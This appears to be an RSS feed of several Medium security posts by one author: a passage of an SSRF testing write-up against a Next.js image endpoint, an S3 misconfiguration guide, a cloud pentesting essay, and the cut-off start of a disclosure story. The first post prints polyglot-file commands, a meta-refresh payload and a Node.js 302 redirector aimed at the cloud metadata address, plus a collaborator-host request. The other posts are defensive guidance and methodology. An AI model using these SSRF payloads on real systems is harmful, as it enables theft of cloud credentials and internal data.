switch</figcaption></figure><h3>MIME Type Bypass: PNG + SVG Polyglot</h3><p>To bypass the MIME type validation, I crafted a <strong>polyglot image</strong> by prepending PNG magic bytes to the SVG:</p><pre>echo -ne &#39;\x89PNG\r\n\x1a\n&#39; | cat - ssrf.svg &gt; ssrf_polyglot.png</pre><p>Then uploaded that to the S3 bucket, and triggered:</p><pre>/_next/image?url=https://scope.s3.amazonaws.com/uploads/ssrf_polyglot.png&amp;w=128&amp;q=75</pre><p>Success! I received:</p><pre>200 OK<br>Content-Type: image/png</pre><p>But… no ping to Burp Collaborator.</p><p>So although the file was fetched and served back as a valid image, the embedded SSRF &lt;image xlink:href=&quot;...&quot;&gt; payload was never executed.</p><p>The server was <strong>treating the file as binary</strong> — <strong>not parsing it</strong>, just streaming it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D9QSQNEGYSprmzjP" /></figure><p>No prob…We’ll hit once more…</p><h3>Strategy Pivot: Redirect-Based SSRF</h3><p>Next, I tried triggering a redirect from within the file — starting with a meta refresh tag inside an HTML disguised as an image:</p><pre>&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=http://169.254.169.254/latest/meta-data/&quot; /&gt;</pre><p>Converted to a polyglot:</p><pre>echo -ne &#39;\x89PNG\r\n\x1a\n&#39; | cat - redirect.html &gt; redirect-polyglot.png</pre><p>And then:</p><pre>/_next/image?url=https://scope.s3.amazonaws.com/uploads/redirect-polyglot.png&amp;w=128&amp;q=75</pre><p>Again, the response came back:</p><pre>200 OK<br>Content-Type: image/png<br>Body: My HTML</pre><p>The file was fetched and returned — but the redirect never executed. Why?</p><p>Because &lt;meta refresh&gt; is a <strong>client-side</strong> redirect — and /next/image is a <strong>server-side</strong> fetcher. The backend wasn’t rendering the file; just fetching it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/204/1*m1oWyHQMQZ1MCMKOAXc_cA.jpeg" /><figcaption>Not bad…Not bad</figcaption></figure><p>But not going to retreat so soon….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*lD80XACU0PFUzk1utowbUQ.jpeg" /><figcaption>Jhukega nahi…</figcaption></figure><p>Problem Recap<br>We tried uploading a file that:</p><p>Looks like a PNG (starts with magic bytes),</p><p>But actually contains HTML with a &lt;meta refresh&gt;.</p><p>Then trigger:<br>/_next/image?url=<a href="https://s3.whitelisted.com/.../redirect-polyglot.png&amp;w=128&amp;q=75">https://s3.whitelisted.com/.../redirect-polyglot.png&amp;w=128&amp;q=75</a><br>The backend (Next.js Image Optimization handler) does this:</p><p>✅ It fetches your file from S3 (domain whitelisted)<br>✅ It sees the file is an “image” (by extension + content-type + magic bytes)<br>❌ But it doesn’t “render” the image like a browser — it treats it as binary.</p><p>💡 That means:<br>→ It doesn’t interpret &lt;meta refresh&gt;<br>→ It doesn’t parse HTML<br>→ It doesn’t follow embedded SVG links</p><h3>Final Bet!!</h3><h3>Real SSRF Logic: Hosting a 302-Based Redirector</h3><p>It was time to play luck that the backend was using a blacklist instead of a whitelist or during development for some reason the developer might have used ngrok at some point of time and forgot to remove it from domain whitelisting.</p><p>I built a <strong>redirector server</strong> in Node.js that sends a <strong>real HTTP 302</strong>:</p><pre>// redirector.js<br>const http = require(&#39;http&#39;);</pre><pre>http.createServer((req, res) =&gt; {<br>  console.log(&quot;[+] Request received:&quot;, req.url);<br>  res.writeHead(302, {<br>    &#39;Location&#39;: &#39;http://169.254.169.254/latest/meta-data/&#39;,<br>    &#39;Content-Type&#39;: &#39;image/png&#39;<br>  });<br>  res.end();<br>}).listen(8080);</pre><p>I hosted it via ngrok:</p><pre>https://abc123.ngrok-free.app/image.png</pre><p>But I couldn’t use it directly in /next/image?url=... because it wasn’t a whitelisted domain.</p><p>So I created a <strong>two-step chain</strong>:</p><ol><li>Upload a polyglot HTML to S3 that used &lt;meta refresh&gt; to redirect to the ngrok redirector</li><li>Let the redirector do a 302 to internal metadata</li></ol><p>But again — no SSRF ping.</p><p>Because the server:</p><ul><li>Doesn’t parse &lt;meta&gt; tags</li><li>Doesn’t follow meta-refresh</li><li>Possibly doesn’t follow external 302 redirects either</li></ul><h3>🎯 Final Realization: They Secured the Vulnerability</h3><p>After all this — I realized something fundamental.</p><p>Yes, the application <strong>used a CVE-affected version</strong> of Next.js<br>Yes, it <strong>had no file upload type restrictions</strong><br>Yes, it <strong>fetched files via </strong><strong>/next/image?url=</strong></p><p><strong>But it was still secure.</strong></p><p>The developers behind it had:</p><ul><li>Implemented strict domain-level allowlisting</li><li>Avoided dynamic parsing of image content</li><li>Ensured /next/image doesn&#39;t follow suspicious redirects</li><li>Applied file-type filtering by actual parser behavior (not just extensions)</li></ul><p>In essence:</p><blockquote><em>❌ A CVE was present<br> ✅ But logic was strong<br> ✅ Therefore, it held up</em></blockquote><h3>Final Thoughts: It’s Not Just the Package — It’s the Practice</h3><p>Security is never just about <strong>using the latest version</strong> or <strong>avoiding known CVEs</strong>.</p><p>Sometimes:</p><blockquote><em>🔐 A </em><strong><em>vulnerable package</em></strong><em> used wisely is safer than a secure one used carelessly.</em></blockquote><p>And other times:</p><blockquote><em>❌ A </em><strong><em>fully patched library</em></strong><em> can still be exploited if the developer makes a logical misstep.</em></blockquote><p>This entire experience was a reminder that <strong>developer mindset</strong> — how one writes logic, handles edge cases, validates input, and interprets documentation — matters just as much as the libraries we choose.</p><h3>🛡️ TL;DR</h3><p>Aspect Outcome</p><p>✅CVE-2024–34351 present</p><p>✅Domain whitelisting in place</p><p>✅MIME type and extension checks</p><p>✅SVG and EXIF payloads blocked</p><p>✅302 Redirects via meta refresh ignored</p><p>✅Real SSRF triggered❌ (by design)</p><p>✅ Dev team awareness = High</p><p><strong>Respect where it’s due</strong> — the application was designed intelligently enough to prevent SSRF even when the underlying framework had a known weakness.</p><p>And that, perhaps, is the most important lesson in security testing.</p><p>GET /_next/image?url=http://&lt;oastify-sub&gt;.oastify.com&amp;w=128&amp;q=75</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae32f3878c84" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Hidden Danger in the Cloud: S3 Buckets & Random URLs]]></title>
            <link>https://medium.com/@yashprajapati791/the-hidden-danger-in-the-cloud-s3-buckets-random-urls-74d8461f2888?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/74d8461f2888</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[aws-s3]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[data-privacy-protection]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Thu, 12 Jun 2025 06:27:46 GMT</pubDate>
            <atom:updated>2025-06-12T06:27:46.180Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*BNp_0SIPi_OefgwD4A0o0w.jpeg" /><figcaption>Securing AWS S3</figcaption></figure><p>Cloud storage has revolutionized how companies handle and distribute data. Among the most commonly used services is <strong>Amazon S3 (Simple Storage Service)</strong> — a secure, durable, and scalable object storage system. However, when misconfigured or misunderstood, it becomes a goldmine for attackers. One of the most overlooked dangers is the belief that “randomized URLs” are enough to keep sensitive files hidden.</p><p>So let’s explore the <strong>hidden risks of relying on obscurity</strong>, understand <strong>how attackers uncover these ‘hidden’ files</strong>, and highlight <strong>real tools and methods used</strong> to exploit such misconfigurations and <strong>ways of prevention.</strong></p><p>So let’s begin with starting off with the most common mistake many developers and companies often make by assuming that placing files in S3 and giving them a long, randomized URL — like <a href="https://s3.amazonaws.com/mybucket/abc123xyz456.jpg">https://s3.amazonaws.com/mybucket/abc123xyz456.jpg</a> — provides sufficient protection.</p><p>The logic? If no one knows the URL, they can’t access it.</p><blockquote>But!!! That’s a big No NO….✋🏻🛑⛔️</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*sRGt-G75aAi6OXNDY_pDaw.jpeg" /><figcaption>Common Mistakes</figcaption></figure><h3>Why Random URLs Are Not Security?</h3><p>In technical terms it is called “Security through obscurity”. It refers to the practice of relying on secrecy or hidden elements (like obscure URLs) to protect sensitive information.</p><p>This is a classic example of <strong>security through obscurity</strong>, which <strong>fails as a standalone strategy</strong>.</p><ul><li>Obscured URLs can be <strong>brute-forced or fuzzed</strong> using tools.</li><li>URLs may get <strong>leaked</strong> through browser history, logs, referrer headers, or exposed code.</li><li>Crawlers and archive services like the <strong>Wayback Machine</strong> can index URLs even if they’re not linked anywhere visibly.</li></ul><p>Let’s Understand quickly how’s that even possible?</p><h3>Key Risks:</h3><p><strong>A. Brute-force Attacks</strong>:</p><ul><li>If attackers know the structure or naming pattern, they can use automated tools to guess or fuzz possible combinations.</li><li>This is especially risky when file names follow predictable formats like timestamps or user IDs.</li><li>Plus with AI advancements and quantum computing kicking in the risk even increases significantly.</li></ul><p><strong>B. URL Leakage</strong></p><ul><li>URLs can be accidentally exposed via logs, browser history, shared messages, or third-party analytics.</li></ul><p><strong>C. Search Engine Indexing</strong>:</p><ul><li>Files in public S3 buckets can get indexed by search engines if not properly blocked.</li></ul><p><strong>D. Subdomain and Bucket Enumeration</strong>:</p><ul><li>Even if file names are random, the <strong>buckets themselves can be discovered</strong>, and attackers may attempt directory traversal or listing attacks.</li></ul><h3>Real-World Example: Accenture Cloud Leak (2017)</h3><p>In 2017, Accenture, a global consulting firm, left <strong>four AWS S3 buckets publicly accessible</strong>. These buckets contained:</p><ul><li>VPN keys</li><li>API credentials</li><li>Private signing keys</li><li>Customer info</li></ul><p>The breach was discovered by a security researcher who stumbled upon the buckets during routine scanning. Had a malicious actor found them first, the damage could’ve been catastrophic.</p><p>This case underscores the point: <strong>misconfigured permissions + obscurity ≠ security</strong>.</p><h3>How Files Get Exposed: Crawlers vs. Users</h3><h3>Search Engine Crawlers</h3><p>Search engines like Google, Bing, and Yandex constantly crawl the internet. If your S3 bucket or web server is public and lacks proper <strong>robots.txt</strong> or <strong>X-Robots-Tag</strong> headers, your files can be <strong>indexed and appear in search results</strong>.</p><h3>Users &amp; Developer Mistakes</h3><p>Human error is often to blame:</p><ul><li>Misconfigured <strong>bucket policies</strong> or <strong>ACLs (Access Control Lists)</strong></li><li>Sharing private links in public forums or GitHub repos</li><li>Inadvertently leaking file URLs in logs, emails, or code</li></ul><p>Once even a <strong>single link is exposed</strong>, it can be crawled and spread across dozens of indexing services and tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*07wpUPDmEugQt548mSa1fA.jpeg" /><figcaption>Crawlers scanning web 24X7</figcaption></figure><h3>Real-World Tools Used to Discover S3 URLs</h3><h4>1. WaybackURLs</h4><ul><li><strong>What It Does</strong>: Scrapes archived URLs from the Internet Archive.</li><li><strong>Risk</strong>: Even if a file was deleted later, the URL might still be <strong>cached and accessible</strong> via Wayback Machine.</li><li><strong>Use Case</strong>: Great for attackers to retrieve old links from compromised or forgotten assets.</li></ul><h4>2. Gau (Get All URLs)</h4><ul><li><strong>What It Does</strong>: Collects URLs from sources like AlienVault, Common Crawl, URLScan, etc.</li><li><strong>Risk</strong>: Leaked or referenced S3 URLs can surface in these datasets.</li><li><strong>Use Case</strong>: Commonly used in bug bounty programs and recon automation.</li></ul><h4>3. Assetfinder</h4><ul><li><strong>What It Does</strong>: Finds subdomains tied to your domain.</li><li><strong>Risk</strong>: If an S3 bucket is hosted as a subdomain (e.g., files.example.com), it can be easily discovered.</li><li><strong>Use Case</strong>: Initial step for attackers to uncover shadow IT or dev environments.</li></ul><h4>4. FFUF (Fuzz Faster U Fool)</h4><ul><li><strong>What It Does</strong>: Performs directory and file fuzzing using wordlists.</li><li><strong>Risk</strong>: Brute-forces predictable file paths or names in a known bucket URL structure.</li><li><strong>Use Case</strong>: Effective for discovering hidden endpoints, backups, logs, or exposed media.</li></ul><h4>5. Sublist3r</h4><ul><li><strong>What It Does</strong>: Another fast subdomain enumeration tool.</li><li><strong>Risk</strong>: Finds subdomains pointing to S3 buckets or CDN links, allowing lateral exploration.</li><li><strong>Use Case</strong>: Lightweight recon tool during black-box engagements.</li></ul><h4>6. Shodan</h4><ul><li><strong>What It Does</strong>: A search engine for internet-connected devices and exposed cloud services.</li><li><strong>Risk</strong>: Publicly accessible buckets and their contents can be indexed if not configured properly.</li><li><strong>Use Case</strong>: Hackers or researchers may search for bucket.s3.amazonaws.com to find exposed data.</li></ul><h4>7. AI Threat Intelligence Tools (Clearbit, Censys, Hunter.io)</h4><ul><li><strong>What It Does</strong>: Uses AI and machine learning to analyze massive datasets, often scanning metadata or headers.</li><li><strong>Risk</strong>: Can aggregate S3 URLs from multiple sources, making previously obscure data visible.</li><li><strong>Use Case</strong>: Enterprise-grade tools used in red-teaming and corporate espionage scenarios.</li></ul><p><strong>Some More Common Real-World Mistakes</strong></p><ul><li>Sharing S3 URLs in <strong>support tickets or screenshots</strong></li><li>Publishing file links in <strong>public GitHub repositories</strong></li><li>Leaving buckets open while using them for <strong>mobile apps or public assets</strong></li><li><strong>Assuming obscurity = security</strong> for PDFs, audio files, or video content</li></ul><h3>How Does Indexing Actually Happen?</h3><p><strong>A. Crawlers detect the S3 file via:</strong></p><ul><li>Publicly accessible buckets</li><li>URLs shared on other public domains</li><li>Files without anti-indexing headers</li></ul><p><strong>B. Users leak the URL:</strong></p><ul><li>Through social media posts</li><li>Hardcoded links in JS or HTML</li><li>Code snippets on StackOverflow or GitHub</li></ul><p><strong>C. Bots pick them up</strong>:</p><ul><li>Tools like Common Crawl scan these links.</li><li>Aggregators and AI services index and correlate metadata.</li></ul><p><strong>D. Search engines rank them</strong>:</p><ul><li>Once crawled, they may be <strong>visible in Google/Bing image or file searches</strong>, especially if media-rich.</li></ul><h3>Encryption: Essential Layer of Security</h3><p><strong>🔐 At-Rest Encryption:</strong></p><ul><li>Use <strong>Amazon S3 Server-Side Encryption (SSE)</strong>.</li><li>Enable <strong>SSE-S3</strong>, <strong>SSE-KMS</strong>, or <strong>SSE-C</strong>.</li><li>Default encryption can be enforced at bucket level.</li></ul><p><strong>🔐 In-Transit Encryption:</strong></p><ul><li>Enforce HTTPS by setting bucket policies or through CloudFront.</li><li>Avoid uploading/downloading over HTTP.</li></ul><h3>IAM Policies: Securing Access Effectively</h3><p>To avoid unauthorized access try to implement the following Security Best Practices for IAM Policies:</p><ul><li><strong>Least Privilege Principle</strong>: Only grant necessary permissions.</li><li>Use <strong>role-based access control</strong> and restrict sensitive actions (like PutObject, DeleteBucket).</li><li>Use <strong>DenyAllPublicAccess</strong>:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*rcdicQntDbGNdduCipnB0A.png" /><figcaption><strong>Sample IAM Policy to Block Unsecured Access</strong></figcaption></figure><h3>Monitoring Access Logs &amp; Alerts</h3><p>Logging is critical to detect unauthorized access attempts.</p><h4>🔍 Set Up Monitoring:</h4><ul><li><strong>Enable CloudTrail</strong> for full audit trails</li><li>Turn on <strong>S3 Access Logs</strong> for object-level insights</li></ul><h4>⚠️ Add Alerts:</h4><ul><li>Use <strong>Amazon CloudWatch</strong> to create anomaly detection rules</li><li>Monitor logs for unusually high GET/PUT requests</li><li>Alert when policies or ACLs are changed</li></ul><h3>Compliance and Legal Risks</h3><p>Misconfigured S3 buckets are not just a technical concern — they have legal consequences:</p><ul><li><strong>GDPR</strong>: Fines for unauthorized exposure of PII.</li><li><strong>HIPAA</strong>: Exposed medical records could result in millions in penalties.</li><li><strong>PCI DSS</strong>: Storing cardholder data without protection is a direct violation.</li></ul><p>Organizations must conduct regular <strong>risk assessments</strong> and enforce <strong>data governance policies</strong>.</p><p><strong>Prevention Checklist: Secure Your S3 Buckets</strong></p><p>✅ Set all S3 buckets to <strong>private by default<br></strong>✅ Use <strong>signed URLs</strong> for time-bound access<br>✅ Enable <strong>SSE encryption at rest<br></strong>✅ Enforce <strong>HTTPS for in-transit encryption<br></strong>✅ Implement <strong>IAM policies with least privilege<br></strong>✅ Monitor with <strong>CloudTrail + CloudWatch alerts<br></strong>✅ Prevent indexing via <strong>X-Robots-Tag</strong> headers<br>✅ Scan for exposed buckets with tools like <strong>ScoutSuite, Prowler</strong><br>✅ <strong>Educate teams</strong> on S3 usage &amp; secure configurations</p><h3>Key Takeaways</h3><ul><li><strong>Obscurity is not security</strong> — randomized URLs can be brute-forced or leaked.</li><li><strong>Public S3 buckets are easily discoverable</strong> using OSINT tools.</li><li><strong>Encryption, IAM policies, and monitoring</strong> are non-negotiable.</li><li><strong>Real-world breaches</strong> prove the importance of proactive configurations.</li><li><strong>Compliance violations</strong> from misconfigured S3 can be legally and financially disastrous.</li></ul><h3>Further Reading &amp; Resources</h3><ul><li><a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html">AWS S3 Security Best Practices</a></li><li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html">AWS Identity and Access Management (IAM)</a></li><li><a href="https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html">CloudTrail Documentation</a></li><li><a href="https://aws.amazon.com/macie/">AWS Macie for Sensitive Data Discovery</a></li></ul><h3>Final Thoughts</h3><p>Start treating your cloud buckets like mini databases — only expose what’s absolutely necessary, and always assume someone <strong>is watching</strong>.</p><p><em>PS : If you’ve got any best practices or security tips please do share it with the community in the comments below!! Thank you for Reading it all the way along !!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74d8461f2888" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing Cloud Solutions: A Penetration Tester’s Approach]]></title>
            <link>https://medium.com/@yashprajapati791/securing-cloud-solutions-a-penetration-testers-approach-2915f10f6e3e?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/2915f10f6e3e</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[trending]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Thu, 13 Feb 2025 08:59:46 GMT</pubDate>
            <atom:updated>2025-02-13T08:59:46.091Z</atom:updated>
            <content:encoded><![CDATA[<p>While surfing through some industry reports to get updated with the latest information, one subject caught my attention — <strong>Cloud Security</strong>, one of the most debated topics after AI and Cybersecurity today. Now, since it’s been a while since I last explored cloud security in detail, I decided to dig up the reports and collect top facts on recent figures exclusively for you guys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*-2KoS7ri5fbF7gYNvePoCw.jpeg" /></figure><p>Among all the reports I analyzed, <strong>SANS</strong> presented the most eye-opening statistics.</p><p>If you are a newcomer to the cybersecurity profession or come from a non-technical background, let me provide a <strong>quick introduction to SANS</strong>. Established in <strong>1989</strong>, when cybersecurity was still in its early stages, SANS has been a constant force in the industry, providing best information, security solutions, and best practices.It guides secure digital assets by <strong>providing training, certifications, and research</strong>. The <strong>SANS Top 25</strong> is the <strong>second most</strong> recognized security vulnerability list among penetration testers, next to the <strong>OWASP Top 10</strong>.</p><p>Now, since I have some information on human psychology, I know you’d want to jump straight to the <strong>SANS-derived figures</strong> first — but I’ve kept them for the end intentionally. So, do read through all the figures in order to get accurate insights!</p><p>The risk of cybersecurity attacks has persisted to rise year after year. In 2022, realized <strong>cyber dangers</strong> had been the <strong>biggest difficulty for businesses globally</strong>. The threat from cybercrime agencies, large breaches, and disruption attacks became of extra concern than commercial enterprise technique outages and herbal failures (Cyber Risks Top Worldwide Business Concerns in 2022, 2022).</p><p>Newly located vulnerabilities along with Log4j, further to a remote staff migration, caused an increase in cybersecurity assaults by 50% in 2021 (Zurier, 2022).</p><p>Not only has the number of attacks increased drastically, but also the level of access a cybercriminal can obtain in the internal systems of an enterprise is also growing. A recent study indicated that an attacker would be able to gain <strong>access to 93%</strong> of an enterprise network <strong>as soon as</strong> they have <strong>access to an internal network device</strong> including the local and protected resources. (Cybercriminals can penetrate 93 Percent of Company Networks, 2021).</p><p>The value associated with cybercrime will develop by 15% year over year by 2025. This value consists of the evaluation and research of assaults, regulatory fines and charges, generation to go back to everyday commercial enterprise operations, and any misplaced statistics and productivity related to the assault (Morgan, 2020).</p><p>The risk posed by cyber attackers will increase over the approaching years. While a noticeable increase in sophisticated threat actor activity, and a wider cyber-attack surface is expected due to the increase in cloud migrations within organizations (<strong>Cybercrime To Cost The World $10.5 Trillion Annually By 2025</strong>).” — SANS Institute studies 2022</p><p>Now since we’ve got much of the insights let me walk you through the technicals.</p><p>Cloud computing has revolutionized how businesses operate, but with this shift comes the growing need to secure cloud environments.In the world of penetration testing (PT), <strong>cloud security is often misunderstood</strong>, especially with shared responsibility models. As a Penetration tester, my role is to test these environments to expose the weaknesses and ensure that the system is as safe as possible. Here’s how I approach securing cloud solutions, using a strategic and thorough methodology.</p><p>Before proceeding any further let’s first discuss about:</p><h4><strong>The Shared Responsibility Model</strong></h4><p>The <strong>first thing to understand</strong> is that Cloud Security is a shared responsibility. While cloud service providers (CSPs) such as AWS, Azure, or GCP manage the infrastructure, it is up to the <strong>client</strong> to <strong>secure</strong> their <strong>data, app and certain configurations.</strong> This dynamic means that as a penetration tester, I should keep in mind what CSP manages and what is responsible for the customer. The distinction is crucial because it <strong>impacts</strong> the <strong>scope of testing</strong> and helps <strong>avoid</strong> potential issues or <strong>miscommunications</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dv8yfDhWx_dF3Zj50nQLJA.jpeg" /></figure><h4>Cloud Security: Similar to Internal Network Pentesting</h4><p>In many ways, cloud security resembles internal network penetration testing. Once you have access to a cloud environment (typically with internal access rights), you start seeing patterns that are similar to traditional on-premise network tests. Most vulnerabilities in the cloud stem from <strong>misconfigurations, outdated versions, or improperly assigned roles and permissions</strong> — just like in internal networks. Cloud environments are vast, and sometimes, misconfigurations can expose the system to external threats or leave sensitive data vulnerable.</p><h4><strong>Leveraging the Right Tools</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*r9pzJiW8hxpCMD0NI7AtjA.jpeg" /><figcaption>Leveraging the Right Tools</figcaption></figure><p>It is important to ensure that you are leveraging the correct tool when it comes to cloud security assurance. Some of the tools that I often use include:</p><ul><li><strong>Prowler</strong>: An effective tool for AWS safety assessment, which helps me test 200+ safety checks.</li><li><strong>Scoutsuit</strong>: An open-source multi-cloud security auditing tool, ideal for assessing configuration.</li><li><strong>Steampipe</strong>: A tool to query cloud infrastructure in services, provide visibility and assist with compliance check.</li></ul><p>These devices help to <strong>automatically</strong> <strong>scan</strong> and <strong>highlight</strong> the potentially <strong>weak points </strong>that can be exploited thus <strong>saving</strong> some <strong>time</strong> for manual exploitation and <strong>covering</strong> <strong>most</strong> of the <strong>attack</strong> <strong>surface and scenarios </strong>for me.</p><p><strong>Using Tools Like CloudFox and Pacu for Deeper Insights</strong></p><p>The majority of the testers utilize tools like <strong>CloudFox</strong> or <strong>Pacu</strong> in the CI/CD pipelines, or locally for quick vulnerability scans. Though these tools <strong>help in discovering surface-level bugs</strong>, they also provide information regarding deeper attack surfaces, which may be used to achieve privilege escalation. Instead of just documenting those, I believe one needs to <strong>investigate</strong> how such vulnerabilities can be <strong>chained</strong> to build a foothold and <strong>privilege escalation</strong> within the cloud ecosystem. Such proactive analysis provides a more inclusive and realistic assessment of the cloud security posture.</p><h4>Vulnerability Assessment vs. Penetration Testing</h4><blockquote>The <strong>common myth</strong> in the field is that penetration testing is only worth the effort if multiple critical vulnerabilities are found. Yet, “<strong>penetration testing is more than counting criticals!!</strong>” The difference between <strong>Vulnerability Assessment (VA)</strong> and <strong>Penetration Testing (PT)</strong> is being pointed out here:</blockquote><ul><li><strong>Vulnerability Assessment</strong>: This is about finding as many vulnerabilities as possible, using both automated tools and manual techniques. It gives a broad view of the security posture and covers most of the attack surface.</li><li><strong>Penetration Testing</strong>: Once vulnerabilities are found, it’s time for <strong>manual testing</strong> to determine if these vulnerabilities are exploitable and whether they pose an actual risk. This is where we go beyond just finding vulnerabilities; we exploit them to understand the potential impact.</li></ul><p>A good penetration tester ensures that <strong>every vulnerability</strong>, even low-level ones, is considered because sometimes it’s the small ones that chain together to create a bigger threat.</p><h4>Internal Access and Cloud Configuration Pain Points</h4><p>At times, <strong>the application</strong> or <strong>application server within the cloud infrastructure</strong> can have <strong>roles</strong> <strong>assigned</strong> to it <strong>through</strong> <strong>policies</strong>, thus <strong>giving</strong> it <strong>more privileges</strong> than were initially expected. If such roles are vulnerable to exploitation, they <strong>can become a point of entry</strong> to internal network that would otherwise be difficult to access. This is one of the <strong>less obvious</strong> attack vectors; however, it can lead to <strong>serious compromises</strong> if not properly tested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*DrR0tWw_ocJOM6Au3UJxZA.png" /><figcaption>Overly privileged roles open sensitive doors</figcaption></figure><p><strong>Defining the Right Scope in Cloud Pen Testing</strong></p><p>Cloud infrastructures are enormous and complex, particularly when it comes to services like AWS, Azure, or Google Cloud. In performing a penetration test, the scope must be defined. Unlike in traditional systems, there is no need to seek permission from the Cloud Service Provider (CSP) to test cloud resources; however, it is important to understand the boundaries of the shared responsibility model.</p><p>When determining the scope, certain questions that apply must be taken into account:</p><ul><li>What <strong>services</strong> and <strong>resources</strong> make up the client’s environment?</li><li>What <strong>roles</strong> and <strong>permissions</strong> are defined?</li><li>What is the <strong>responsibility of the CSP</strong>, and where does it end?</li></ul><p>Without a clearly identified scope, there is a risk of encroaching on areas that can interfere with the infrastructure of the cloud service provider.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*i8L6JpImLJmc1QIwSp_SqQ.jpeg" /><figcaption>Cloud Security: Client vs. Provider Responsibility</figcaption></figure><p>One of the fundamental questions that come up with penetration testing is: <strong>Who is responsible for fixing a flaw discovered through testing?</strong> The provider or client?</p><p>The answer generally hinges on the nature of the issue:</p><ul><li>If the issue is in the <strong>client’s configuration</strong>, then the client needs to correct it (e.g., an invalid IAM policy).</li><li>If it’s a <strong>service-level</strong> issue that impacts many clients, then the provider is responsible for it (e.g., a CSP infrastructure vulnerability). [Report it responsibly]</li></ul><p>A seasoned penetration tester should <strong>be</strong> <strong>well aware</strong> of where his/her work stops and where the client’s or provider’s work starts.Understand the boundaries of shared responsibility model</p><p>Last but not the least……</p><h3>Keep a Fresh Perspective</h3><p>One of the most important mindsets when conducting penetration testing is <strong>not to make any assumptions</strong> regarding the internal setup. Cloud environments are dynamic, and a small mistake can make a critical vulnerability. For example, a publicly available configuration file can reveal sensitive information like authentication tokens or private keys. A seemingly harmless URL can direct an attacker to this treasure trove of information, which, combined with other vulnerabilities, can result in a critical breach.</p><p><strong>To Recapitulate</strong></p><p>Securing cloud solutions requires an <strong>end-to-end and thorough approach</strong>, formulating automated vulnerability scanning with detailed manual penetration testing. The process requires knowledge of the shared responsibility model, the use of the proper tools, proper scope definition, and ongoing monitoring of the security posture of the environment.</p><p>As a penetration tester committed to professional development, my goal is to ensure that vulnerabilities — regardless of how severe they may be — are not only identified but also put into context, thus ensuring a robust security assessment that transcends compliance with standard processes.</p><p>During a Vulnerability Assessment and Penetration Testing (VAPT) for cloud solutions, the overall goal is to provide the client with <strong>actionable intelligence</strong> that can properly improve the security of their cloud environment and <strong>minimize the risk</strong> of potential threats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*Mys-lqulXlSXmYUNiwNT0g.jpeg" /><figcaption>All things secured 🔐</figcaption></figure><p>That’s it, for this time; Let me know in the comments what are your thoughts on Cloud Security and if you’ve reached so far don’t forget to follow for more such blogs!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2915f10f6e3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Secured the Data of 15 Million
Consumers: Uncovering Critical
Vulnerabilities in Gujarat’s…]]></title>
            <link>https://medium.com/@yashprajapati791/how-i-secured-the-data-of-15-million-consumers-uncovering-critical-vulnerabilities-in-gujarats-6dc453323851?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/6dc453323851</guid>
            <category><![CDATA[responsible-disclosure]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[unauthorized-access]]></category>
            <category><![CDATA[trending]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Sun, 06 Oct 2024 12:30:41 GMT</pubDate>
            <atom:updated>2024-10-06T12:38:28.219Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I Secured the Data of 15 Million<br>Consumers: Uncovering Critical<br>Vulnerabilities in Gujarat’s Leading<br>Energy Distribution Authority</h3><p>Hello all! It’s been a while since my last post, but I’m back with an exciting story that every security researcher can relate to. This adventure started in the first week of June 2024, and it was supposed to be a simple task — transferring a utility connection in my family member’s name. Spoiler alert: things didn’t quite go as planned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*BvxmT1RcHHb6YuQTvOPeuQ.jpeg" /><figcaption>Gujarat Urja Vikas Nigam Limited</figcaption></figure><p>After several attempts at navigating the portal, my patience was tested. Every time I tried to proceed, I was met with a wall of errors. After a few days, thinking it was just a temporary glitch, I gave it another shot — still no luck. Frustrated, I called the consumer helpline, and as every responsible individual does these days, I also checked out some YouTube tutorials. In those videos, everything was smooth sailing. But, as we all know, “Reel and Real are different.”</p><p>Finally, I received a callback from the helpline saying the issue had been resolved and I could complete the process. I thought my troubles 